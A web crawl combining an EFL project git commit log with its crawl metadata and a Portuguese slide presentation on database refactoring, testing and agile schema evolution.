working before and it was a bad idea anyway. There is no user of this API in EFL. Depends on D10490 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10491 2019-10-31evas: move exposed internal structure of Efl_Input_Device to be private.Cedric Bail Summary: Depends on D10489 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10490 2019-10-31evas: move efl_input_device into evas/Efl_Canvas.hCedric Bail Summary: The internal and the API we would like is mostly a canvas API. A lot of the code in evas is working around the fact that efl_input_device is not defined inside Evas. This patch is the first step to try to clean this up. Depends on D10487 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10488 2019-10-31eo_base_class: move shift init to the first callMarcel Hollerbach Summary: this cannot be evalulated in compile time, so this must be evalulated in runtime, at the first call. This should fix OSX build. Co-authored-by: Cedric Bail <[email protected]> Reviewers: zmike, cedric, raster Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10582 2019-10-31eo: add debug ability to detect long chain of event handler.Cedric Bail Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10484 2019-10-31eo: reduce memory use to track event registration and callback call.Cedric Bail Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10482 2019-10-31ecore: remove custom code for generating Eina_Future_Schedule attached on ↵Cedric Bail Efl.Loop. This leverage the new infrastructure from Eo that provide a scheduler for any event attached to any object. Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10481 2019-10-31eo: add infrastructure to attach an Eina_Future_Scheduler to any source of ↵Cedric Bail event. Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10480 2019-10-31eina: only the type need to be NULL to assume EINA_VALUE_EMPTY.Cedric Bail This avoid comparison with potentially uninitialized byte. Reviewed-by: Mike Blumenkrantz <[email protected]> Differential Revision: https://phab.enlightenment.org/D10479 2019-10-31ecore: remove unecessary code for Eina_Future scheduler.Cedric Bail As we do not rely on legacy Ecore Event directly anymore, we do not need to mind the shutting down of EFL. Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10477 2019-10-31ecore: remove unecessary field in data structure.Cedric Bail Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10476 2019-10-31eo: prevent unecessary callback call walk.Cedric Bail This patch introduce a small hash (64 or 32bits) that cache all existing Efl_Event_Description callback handler registered on an object. It slightly reduce the time needed to do an unecessary call and cost just a few bytes per object. Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10475 2019-10-31elementary: handle case when XFIXES is not available.Cedric Bail Summary: ECORE_X_EVENT_FIXES_SELECTION_NOTIFY is only initialized when XFIXES is available. If ecore_event_handler_add is called with type == 0, it will trigger an abort and elementary would not initialize properly. Depends on D10491 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10492 2019-10-31edje: load edje seat callback only when necessary.Cedric Bail Summary: This reduce in elementary_test the number of callback registered on the canvas from hundreds to around 10. Depends on D10486 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10487 2019-10-31edje: improve callback count on Evas canvas.Cedric Bail Summary: This reduce by 3 the amount of callback registered on the canvas. Another potential improvement would be to only register those callback if someone is listening for a 'seat,*' event or if the edje file define seat filters. Depends on D10484 Reviewers: zmike, raster, bu5hm4n, Hermet Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Maniphest Tasks: T8321 Differential Revision: https://phab.enlightenment.org/D10486 2019-10-31evas - revert evas variation sequence support - out of bound accessesCarsten Haitzler (Rasterman) This code is filled with out of bounds accesses now after the reverted patch. All those base_char+1, itr+1 etc. in evas_common_font_query_run_font_end_get() are accessing BEYOND the end of the run. textgrid shows this instantly to fall over as it uses single unicode codepoint chars with no nul terminator. As this api takes an explicit run_len we should never access beyond the end of the run_len. Please revisit this code and keep in mind proper memory/bounds accessing. If there was ano run_len and it assumed strings were regular strings that had to be nul terminated... then it might be ok, but not here. of course if i put in guards for these +1's then it ends up in infintie loops, so enough debugging and send it back for a rethink. :) .... Revert "evas_object_textblock: add support for variation sequences" This reverts commit 46f2d8acdcda3f374c9e393ecb734ff9d00fef7d. 2019-10-30ecore/timer: correctly handle recursive deletion of legacy timersMike Blumenkrantz if a legacy timer callback returns false, the timer is deleted. in the case where the legacy timer is deleted inside the callback while the same timer is ticking recursively, however, the deletion must be deferred until the outer-most frame of the timer's callstack has returned from the callback in order to avoid improperly handling the timer @fix Reviewed-by: Cedric BAIL <[email protected]> Differential Revision: https://phab.enlightenment.org/D10545 2019-10-30evas/font: simplify handling strings when constructing font namesMike Blumenkrantz no need to strcpy here when we can just pass the length to stringshare directly CID 1382854 Reviewed-by: Cedric BAIL <[email protected]> Differential Revision: https://phab.enlightenment.org/D10441 2019-10-30efl_ui: mark Efl.Ui.Focus.Autoscroll_Mode betaMike Blumenkrantz this cannot currently be used for anything and was not explicitly stabilized Reviewed-by: Cedric BAIL <[email protected]> Differential Revision: https://phab.enlightenment.org/D10540 2019-10-30efl_ui: remove Efl.Ui.Slider_Indicator_Visible_ModeMike Blumenkrantz this cannot be used for anything and serves no purpose Reviewed-by: Cedric BAIL <[email protected]> Differential Revision: https://phab.enlightenment.org/D10539 2019-10-30eina: make use of the new near allocation policy for Eina_List.Cedric BAIL The idea is to improve memory locality and hopefully get better cache hit in general. Reviewed-by: Mike Blumenkrantz <[email protected]> Differential Revision: https://phab.enlightenment.org/D10536 2019-10-30eina: introduce an API for requesting memory near already allocated memory ↵Cedric BAIL from an Eina_Mempool. Reviewed-by: Mike Blumenkrantz <[email protected]> Differential Revision: https://phab.enlightenment.org/D10535 2019-10-30elm/widget: error on null params for tree_unfocusable functionsMike Blumenkrantz Summary: these should error so the user can detect that they screwed up Reviewers: devilhorns Reviewed By: devilhorns Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10563 2019-10-30edje_calc: Remove unused flag.Woochanlee Summary: This has marked remove me. Reviewers: raster, Hermet, zmike, devilhorns Reviewed By: devilhorns Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10561 2019-10-29eina: add comparison macros for Eina_Size2D and Eina_Position2DMike Blumenkrantz Summary: I'm tired of typing all this out. it's exhausting. also add a couple usages internally to verify that this works as expected @feature Reviewers: cedric, bu5hm4n, devilhorns Reviewed By: devilhorns Subscribers: devilhorns, bu5hm4n, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10557 2019-10-29interfaces: replace doubles with Efl.Gfx.Align where appropriateMike Blumenkrantz Summary: this makes the types more explicit Depends on D10554 Reviewers: segfaultxavi Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10555 2019-10-29efl/gfx: add Efl.Gfx.Align typeMike Blumenkrantz Summary: this can be used to more explicitly specify that a double is intended to be a value of 0.0 to 1.0 for the purpose of aligning objects. it also avoids the need to copy and paste the same docs around everywhere Reviewers: segfaultxavi Subscribers: cedric, #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10554 2019-10-29meson: redo evas buildingMarcel Hollerbach Summary: before recent times we had to support static and shared building based on the options of the user, which forced us to complicate our build with the evas_goal hack. the evas_goal hack more or less was the idea of "faking" the evas build in the evas directory, finish all the .eo generation there, then build the modules and make all the static files ready. Then build everything in evas_goal. Now, that we just build everything the same always, we can simply build it in the evas way (removing the evas_goal hack FINALLY), as the same modules are build statically and shared. This also gives us the possibility to build the shared image loaders *again* the the modules directory, which unbreaks peoples build scripts who packaged loader files seperatly. Reviewers: zmike, raster, cedric, stefan_schmidt Reviewed By: zmike Subscribers: #reviewers, #committers Tags: #efl Differential Revision: https://phab.enlightenment.org/D10548 2019-10-29edje: selectively inhibit content,changed events when changing swallowed partsMike Blumenkrantz ref T8321 Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10508 2019-10-29elm/genlist: fix item focus unregister on item moveMike Blumenkrantz if the block is realized, its items have been registered into the focus manager and must be unregistered to avoid double-registering @fix Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10544 2019-10-29elm/genlist: hide cached item contents and mark content unfocusable during calcMike Blumenkrantz cached item contents should already be hidden by the edje clipper, so this simply changes their visible state to break them out of the focus calcs contents must also be explicitly marked as unfocusable during calc-only realize operations in order to avoid triggering a full focus recalc which will error due to missing focus adapter in the item block Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10543 2019-10-29elm/genlist: set pan need recalc during item move on item position changeMike Blumenkrantz item move operations require pan recalc in order to process the item block positioning updates @fix Reviewed-by: Marcel Hollerbach <[email protected]> Differential Revision: https://phab.enlightenment.org/D10533 2019-10-29elm/genlist: fix "drag" smart callbackMike Blumenkrantz this is only a smart callback and not an eo callback @fix Reviewed-by: Cedric BAIL <[email protected]> Differential Revision: https://phab.enlightenment.org/D10527
{ "url": "http://git.enlightenment.org/core/efl.git/log/src/lib?id=93551ca58e8c5676b116d98eba07a8061c4ec8fd&ofs=50&showmsg=1", "source_domain": "git.enlightenment.org", "snapshot_id": "crawl=CC-MAIN-2020-34", "warc_metadata": { "Content-Length": "86896", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:2WBOIYKHSGA2AXLHG4XWHL4OPNP7QFBJ", "WARC-Concurrent-To": "<urn:uuid:ad83f177-69ba-43fc-8cc9-746927cf84a7>", "WARC-Date": "2020-08-14T17:44:51Z", "WARC-IP-Address": "140.211.167.131", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:MLWD242BVOS3GVNSDUJ5XABR6ZDM3XO2", "WARC-Record-ID": "<urn:uuid:5403d937-2c93-4711-b4ab-0971649b3491>", "WARC-Target-URI": "http://git.enlightenment.org/core/efl.git/log/src/lib?id=93551ca58e8c5676b116d98eba07a8061c4ec8fd&ofs=50&showmsg=1", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:596f8bae-bbeb-42b3-87d5-b5a19f4d7c9c>" }, "warc_info": "isPartOf: CC-MAIN-2020-34\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2020\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-75.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 29, 57, 92, 185, 340, 417, 443, 499, 9632, 9680, 9826, 9891, 10311, 10382, 10597, 10664, 10888, 10946, 11190, 11282, 11600, 11686, 12061, 12139, 12445, 12512, 12939, 13048, 15286, 15344, 15575, 15633, 15778, 15837, 16082, 16183, 16740, 16801, 17136, 17230, 17450, 17522, 17962, 18038, 18386, 18468, 18588, 18678, 18798, 18895, 19133, 19231, 19358, 19443, 19627, 19705, 19932, 20003, 20123, 20187, 20542, 20617, 21044, 21116, 21443, 21509, 21952, 22060, 22939, 23032, 23490, 23583, 23783, 23857, 24042, 24121, 24284, 24369, 24580, 24678, 24825, 24916, 25151, 25202, 25424, 25515, 25851, 25943, 26146, 26205, 26564, 26617, 27556, 27662, 27792, 27871, 28129, 28236, 28707, 28808, 29028, 29094 ], "line_end_idx": [ 29, 57, 92, 185, 340, 417, 443, 499, 9632, 9680, 9826, 9891, 10311, 10382, 10597, 10664, 10888, 10946, 11190, 11282, 11600, 11686, 12061, 12139, 12445, 12512, 12939, 13048, 15286, 15344, 15575, 15633, 15778, 15837, 16082, 16183, 16740, 16801, 17136, 17230, 17450, 17522, 17962, 18038, 18386, 18468, 18588, 18678, 18798, 18895, 19133, 19231, 19358, 19443, 19627, 19705, 19932, 20003, 20123, 20187, 20542, 20617, 21044, 21116, 21443, 21509, 21952, 22060, 22939, 23032, 23490, 23583, 23783, 23857, 24042, 24121, 24284, 24369, 24580, 24678, 24825, 24916, 25151, 25202, 25424, 25515, 25851, 25943, 26146, 26205, 26564, 26617, 27556, 27662, 27792, 27871, 28129, 28236, 28707, 28808, 29028, 29094, 29259 ] }
{ "red_pajama_v2": { "ccnet_original_length": 29259, "ccnet_original_nlines": 102, "rps_doc_curly_bracket": 0.001982300076633692, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.17639365792274475, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.03531143069267273, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3714239001274109, "rps_doc_frac_unique_words": 0.3486436605453491, "rps_doc_mean_word_length": 7.003082752227783, "rps_doc_num_sentences": 275, "rps_doc_symbol_to_word_ratio": 0.01634787954390049, "rps_doc_unigram_entropy": 6.213846206665039, "rps_doc_word_count": 3244, "rps_doc_frac_chars_dupe_10grams": 0.08455850183963776, "rps_doc_frac_chars_dupe_5grams": 0.18742847442626953, "rps_doc_frac_chars_dupe_6grams": 0.17752443253993988, "rps_doc_frac_chars_dupe_7grams": 0.13346244394779205, "rps_doc_frac_chars_dupe_8grams": 0.09287788718938828, "rps_doc_frac_chars_dupe_9grams": 0.08455850183963776, "rps_doc_frac_chars_top_2gram": 0.03961616009473801, "rps_doc_frac_chars_top_3gram": 0.025310330092906952, "rps_doc_frac_chars_top_4gram": 0.028611669316887856, "rps_doc_books_importance": -2111.153564453125, "rps_doc_books_importance_length_correction": -2111.153564453125, "rps_doc_openwebtext_importance": -1295.2127685546875, "rps_doc_openwebtext_importance_length_correction": -1295.2127685546875, "rps_doc_wikipedia_importance": -874.6431884765625, "rps_doc_wikipedia_importance_length_correction": -874.6431884765625 }, "fasttext": { "dclm": 0.20094025135040283, "english": 0.6696287393569946, "fineweb_edu_approx": 1.824270248413086, "eai_general_math": 0.31249749660491943, "eai_open_web_math": 0.2448675036430359, "eai_web_code": 0.505988597869873 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "6", "label": "Content Listing" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
1,493,150,132,343,055,400
Por: Ismael Soares <ul><li>Objetivo </li></ul><ul><li>Problema e Solução (Abordagem Tradicional e Ágil)‏ </li></ul><ul><li>Refactoring e Data... Apresentar os conceitos de refatoração em banco de dados, o chamado Database Refactoring e apresentar alguns exemplos pr... Após colocar em produção, como fazer os banco de dados evoluírem facilmente de acordo com os novos requisitos? Pergunta Ou de forma mais específica, quem consegue mudar o nome de uma coluna do BD hoje e implantar essa alteração em produção am... <ul><li>Abordagem Tradicional </li></ul><ul><ul><li>Análise... Análise... Análise........... Análise </li></ul></ul><ul><u... Problema e Solução Modelo Cascata (Waterfall)‏ Desenvolvimento (Vários Meses ou Anos)‏ Testes (Dias)‏ Entrega Planejament... <ul><li>Abordagem Ágil </li></ul><ul><ul><li>Processo Iterativo e Incremental </li></ul></ul><ul><ul><li>Feedback Rápido <... Problema e Solução Idéia Abrangente Solução Iterativa e Incremental (Espiral) Iteração 01 (2 a 4 semanas)‏ (Planejamento, ... “ Processo de alteração de um sistema de software de modo que o comportamento externo do código não mude, mas que sua estr... “ É quando uma simples mudança no esquema de uma base de dados melhora a sua concepção (projeto), embora mantendo simultan... “ Mudança disciplinada na estrutura de uma base de dados que não modifica sua semântica, porém melhora seu projeto e minim... <ul><li>Mudanças nas estruturas de tabelas e/ou view’s. </li></ul><ul><ul><li>Mudar uma coluna de tabela. </li></ul></ul><... Melhoria na qualidade da informação. Fazendo uma coluna não-nula para garantir que ela sempre conterá um valor ou a aplic... <ul><li>Melhorias para garantir a integridade dos dados. </li></ul><ul><ul><li>Adicionar uma trigger para exclusão em casc... <ul><li>Uma mudança que melhora a forma global em que programas </li></ul><ul><li>externos interagem com um banco de dado... <ul><li>Uma mudança para um método (um procedimento armazenado, função armazenado ou gatilho) que melhora a sua qualidade.... <ul><li>Uma mudança no seu esquema de banco de dados que muda a sua semântica. </li></ul><ul><ul><li>Adicionar um coluna n... Database Refactoring é mais difícil que Code Refactorings porque além de manter o comportamento também deve manter as i... Dificuldades <ul><li>Scott Ambler (Julho 2006): </li></ul><ul><ul><li>95,7% consideram dados como bens </li></ul></ul><ul><ul><li>corp... Dificuldades <ul><li>As mais conhecidas são: </li></ul><ul><ul><li>DBUnit </li></ul></ul><ul><ul><li>DBM Data Generator </li></ul></ul>... Single-Database Application (Modelo Simples) BD Sistema Dificuldades Multi-Application Database (Modelo complexo) Quanto maior o acoplamento mais dificil é a refatoração! Dificuldades BD Sist... Encapsulamento do acesso ao banco de dados. Como resolver o acoplamento? <ul><li>Existe necessidade de refatorar? </li></ul><ul><li>Escolher o refactoring mais apropriado </li></ul><ul><li>Deprec... SandBox (caixa de  areia)  é um ambiente de teste que isola as mudanças de código não testado no contexto do desenvolvimen... Devemos levar em conta três considerações: <ul><li>A refatoração é essencial? </li></ul><ul><ul><li>O dba ou arquiteto de... Exemplo de Database Refactoring Exemplo de Database Refactoring “ Mal cheiros” são sintomas para refatorar: <ul><li>– Colunas multi-uso </li></ul><ul><li>– Tabelas multi-uso </li></ul... Ao fazer refactoring é de importante que a semântica seja mantida, ou seja, o esquema deve ser melhorada mas para o usuári... O que testar? <ul><li>Testar o esquema </li></ul><ul><li>Testar a forma que a aplicação utiliza o esquema do banco </li></... Test-Driven Development (TDD) Testes do esquema <ul><li>Procedures e triggers: podem ser testados com o código que será usado após as alterações. </l... Testes de migração dos dados <ul><li>Todos os registros foram migrados? </li></ul><ul><li>Houve perda de informações? </li... Testes do código de programas externos <ul><li>Quais são os programas que serão afetados com a refactoring do seu banco? <... Modificando o esquema Modificando o esquema <ul><ul><li>Existem algumas vantagens em trabalhar com pequenos scripts: </li></ul></ul><ul><ul><ul><li>Controle: não exi... Migração dos dados <ul><li>O controle dos artefatos do banco de dados devem ser tratados da mesma forma que os do código fonte. </li></ul><ul... <ul><li>O banco de dados é um recurso compartilhado, portanto, todos os envolvidos precisam ser informados. </li></ul><ul>... <ul><li>1. Fazer um backup do BD </li></ul><ul><li>2. Executar os testes de regressão </li></ul><ul><ul><li>Antes, é preci... <ul><li>Refactoring Databases é uma técnica de implementação de banco de dados. </li></ul><ul><li>Facilita a adição de nov... Ambler, Scott W., Pramod J. Sadalage (2006). Refactoring Databases: Evolutionary Databases Design. New York: Addison Wesle... Perguntas Agradecimentos Próximos SlideShares Carregando em…5 × Refactoring Databases 1.867 visualizações Publicada em Introdução à Refactoring Databases. Processos de refactoring Dificuldades no projeto Exemplos de Refactoring Testes de scripts Deploy Publicada em: Tecnologia 0 comentários 3 gostaram Estatísticas Notas • Seja o primeiro a comentar Sem downloads Visualizações Visualizações totais 1.867 No SlideShare 0 A partir de incorporações 0 Número de incorporações 420 Ações Compartilhamentos 0 Downloads 58 Comentários 0 Gostaram 3 Incorporações 0 Nenhuma incorporação Nenhuma nota no slide Refactoring Databases 1. 1. Por: Ismael Soares 2. 2. <ul><li>Objetivo </li></ul><ul><li>Problema e Solução (Abordagem Tradicional e Ágil)‏ </li></ul><ul><li>Refactoring e Database Refactoring </li></ul><ul><li>Categorias de Refactoring Database </li></ul><ul><li>Dificuldades </li></ul><ul><li>Processos de Refactoring Database </li></ul><ul><li>Exemplos práticos </li></ul><ul><li>Conclusão </li></ul>Agenda 3. 3. Apresentar os conceitos de refatoração em banco de dados, o chamado Database Refactoring e apresentar alguns exemplos práticos. Objetivo 4. 4. Após colocar em produção, como fazer os banco de dados evoluírem facilmente de acordo com os novos requisitos? Pergunta 5. 5. Ou de forma mais específica, quem consegue mudar o nome de uma coluna do BD hoje e implantar essa alteração em produção amanhã? Pergunta 6. 6. <ul><li>Abordagem Tradicional </li></ul><ul><ul><li>Análise... Análise... Análise........... Análise </li></ul></ul><ul><ul><li>Schema da base está disponível mais cedo e é isso que os desenvolvedores irão utilizar. </li></ul></ul><ul><ul><li>E se houver mudanças??? </li></ul></ul>Problema e Solução 7. 7. Problema e Solução Modelo Cascata (Waterfall)‏ Desenvolvimento (Vários Meses ou Anos)‏ Testes (Dias)‏ Entrega Planejamento, Análise, Modelagem (Vários Meses)‏ Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Tabela Precisa Alterar o Modelo e agora? 8. 8. <ul><li>Abordagem Ágil </li></ul><ul><ul><li>Processo Iterativo e Incremental </li></ul></ul><ul><ul><li>Feedback Rápido </li></ul></ul><ul><ul><li>Constante Inspeção e Adaptação </li></ul></ul><ul><ul><li>Agile DBA </li></ul></ul>Problema e Solução 9. 9. Problema e Solução Idéia Abrangente Solução Iterativa e Incremental (Espiral) Iteração 01 (2 a 4 semanas)‏ (Planejamento, Modelagem, Desenvolvimento, Testes)‏ Tabela Tabela Tabela Tabela Software Iteração 02 (2 a 4 semanas)‏ (Planejamento, Modelagem, Desenvolvimento, Testes)‏ Software Tabela Tabela Tabela Tabela Iteração 03 (2 a 4 semanas)‏ (Planejamento, Modelagem, Desenvolvimento, Testes)‏ Tabela Tabela Tabela Tabela Software Iteração 04 (2 a 4 semanas)‏ (Planejamento, Modelagem, Desenvolvimento, Testes)‏ Software Tabela Tabela Tabela Tabela 10. 10. “ Processo de alteração de um sistema de software de modo que o comportamento externo do código não mude, mas que sua estrutura interna seja melhorada.” “ É uma forma disciplinada de aperfeiçoar código que minimiza a introdução de falhas.” (Martin Fowler 2004)‏ O que é Refactoring? 11. 11. “ É quando uma simples mudança no esquema de uma base de dados melhora a sua concepção (projeto), embora mantendo simultaneamente a sua semântica.” (Scott W. Ambler 2006)‏ O que é Data Base Refactoring? 12. 12. “ Mudança disciplinada na estrutura de uma base de dados que não modifica sua semântica, porém melhora seu projeto e minimiza a introdução de dados inconsistentes.” (Fabrízio de Royes Mello 2009)‏ O que é Data Base Refactoring? 13. 13. <ul><li>Mudanças nas estruturas de tabelas e/ou view’s. </li></ul><ul><ul><li>Mudar uma coluna de tabela. </li></ul></ul><ul><ul><li>Dividir uma coluna em duas, etc. </li></ul></ul>Categorias de Refactoring Databases 14. 14. Melhoria na qualidade da informação. Fazendo uma coluna não-nula para garantir que ela sempre conterá um valor ou a aplicação de um formato comum para uma coluna para garantir a consistência. Categorias de Refactoring Databases 15. 15. <ul><li>Melhorias para garantir a integridade dos dados. </li></ul><ul><ul><li>Adicionar uma trigger para exclusão em cascata. </li></ul></ul><ul><ul><li>Adicionar um chave estrangeira, etc. </li></ul></ul>Categorias de Refactoring Databases 16. 16. <ul><li>Uma mudança que melhora a forma global em que programas </li></ul><ul><li>externos interagem com um banco de dados. </li></ul><ul><ul><li>Substituição de uma operação de Java existentes em uma </li></ul></ul><ul><ul><li>biblioteca de código compartilhado por um procedimento </li></ul></ul><ul><ul><li>armazenado no banco de dados. Tê-lo como um procedimento armazenado torna disponível para aplicações não Java. </li></ul></ul>Categorias de Refactoring Databases 17. 17. <ul><li>Uma mudança para um método (um procedimento armazenado, função armazenado ou gatilho) que melhora a sua qualidade. </li></ul><ul><ul><li>Renomeando um procedimento armazenado para tornar mais fácil de entender. </li></ul></ul>Categorias de Refactoring Databases 18. 18. <ul><li>Uma mudança no seu esquema de banco de dados que muda a sua semântica. </li></ul><ul><ul><li>Adicionar um coluna numa tabela existente. </li></ul></ul>Categorias de Refactoring Databases 19. 19. Database Refactoring é mais difícil que Code Refactorings porque além de manter o comportamento também deve manter as informações. Dificuldades 20. 20. Dificuldades 21. 21. <ul><li>Scott Ambler (Julho 2006): </li></ul><ul><ul><li>95,7% consideram dados como bens </li></ul></ul><ul><ul><li>corporativos. </li></ul></ul><ul><ul><li>40,3% possuem bateria de testes para BD </li></ul></ul><ul><ul><li>61,9% possuem problemas com dados em produção. </li></ul></ul><ul><ul><li>18% sem estratégia para corrigi-los. </li></ul></ul><ul><ul><li>33% a estratégia é não deixar ficar pior </li></ul></ul>Dificuldades 22. 22. Dificuldades 23. 23. <ul><li>As mais conhecidas são: </li></ul><ul><ul><li>DBUnit </li></ul></ul><ul><ul><li>DBM Data Generator </li></ul></ul><ul><ul><li>NDbUni </li></ul></ul><ul><ul><li>Ounit </li></ul></ul><ul><ul><li>Quest Unit Tester </li></ul></ul><ul><ul><li>TSQLUnit </li></ul></ul>Dificuldades 24. 24. Single-Database Application (Modelo Simples) BD Sistema Dificuldades 25. 25. Multi-Application Database (Modelo complexo) Quanto maior o acoplamento mais dificil é a refatoração! Dificuldades BD Sistema A Sistema desconhecido Outros BD Testes de Integração Hibernate Interfaces Externas 26. 26. Encapsulamento do acesso ao banco de dados. Como resolver o acoplamento? 27. 27. <ul><li>Existe necessidade de refatorar? </li></ul><ul><li>Escolher o refactoring mais apropriado </li></ul><ul><li>Depreciar o esquema original </li></ul><ul><li>Testar antes, durante e depois </li></ul><ul><li>Modificar o esquema </li></ul><ul><li>Migrar os dados </li></ul><ul><li>Modificar código externo </li></ul><ul><li>Executar testes de regressão </li></ul><ul><li>Versionar seu trabalho </li></ul><ul><li>Anunciar o refactoring </li></ul>Processos de Refactoring Databases 28. 28. SandBox (caixa de  areia)  é um ambiente de teste que isola as mudanças de código não testado no contexto do desenvolvimento de software, incluindo o desenvolvimento Web e controle de revisão. É uma espécie de branch específico para testes. Cada desenvolvedor que irá trabalhar no projeto deve ter um sandBox . Cada sandBox possui uma cópia do BD inteiro. SandBox 29. 29. Devemos levar em conta três considerações: <ul><li>A refatoração é essencial? </li></ul><ul><ul><li>O dba ou arquiteto deve ter uma visão corporativa e técnica para dizer qual o melhor </li></ul></ul><ul><ul><li>esquema para atender as necessidades da empresa. </li></ul></ul><ul><li>É necessário fazer a mudança agora? </li></ul><ul><ul><li>Deve-se avaliar se este é o momento certo para fazer a refatoração. É preciso medir o </li></ul></ul><ul><ul><li>“ tamanho do gigante”. </li></ul></ul><ul><ul><li>Além disso, devemos avaliar qual é o risco que corremos se precisarmos voltar para o </li></ul></ul><ul><ul><li>esquema anterior depois de alguns dias. </li></ul></ul><ul><li>Valerá apenas o esforço? </li></ul><ul><ul><li>Deve-se avaliar os valores e impactos que a refatoração trará. Os profissionais estão </li></ul></ul><ul><ul><li>qualificados? Qual ou quanto é o custo benefício? </li></ul></ul>Antes de começar... 30. 30. Exemplo de Database Refactoring 31. 31. Exemplo de Database Refactoring 32. 32. “ Mal cheiros” são sintomas para refatorar: <ul><li>– Colunas multi-uso </li></ul><ul><li>– Tabelas multi-uso </li></ul><ul><li>– Dados redundantes </li></ul><ul><li>– Tabelas com muitas colunas </li></ul><ul><li>– Tabelas com muitas linhas </li></ul><ul><li>– Colunas “espertas” </li></ul><ul><li>– Resistência a mudanças </li></ul>O que refatorar? 33. 33. Ao fazer refactoring é de importante que a semântica seja mantida, ou seja, o esquema deve ser melhorada mas para o usuário, isto precisa ser transparente. Exemplo: Imagine que em uma tabela de cliente o número do telefone seja um varchar no seguinte formato: (416) 555-1234 , e será alterado para numérico: 4165551234. Mantendo a semântica 34. 34. O que testar? <ul><li>Testar o esquema </li></ul><ul><li>Testar a forma que a aplicação utiliza o esquema do banco </li></ul><ul><li>Validar a migração dos dados </li></ul><ul><li>Testar o código de programas externos </li></ul>Test-Driven Development (TDD) 35. 35. Test-Driven Development (TDD) 36. 36. Testes do esquema <ul><li>Procedures e triggers: podem ser testados com o código que será usado após as alterações. </li></ul><ul><li>Integridade referencial: também precisa ser testado, principalmente quando faz exclusão em cascata. </li></ul><ul><li>Definição de views: views costumam implementar lógica de negócio interessante. Será que a filtragem lógica está selecionando os dados corretamente? Você recebe de volta o número correto de linhas? Você está retornando as colunas corretas? </li></ul><ul><li>Valores default: colunas muitas vezes têm valores padrão definidos para eles. Os valores padrões estão sendo utilizados de 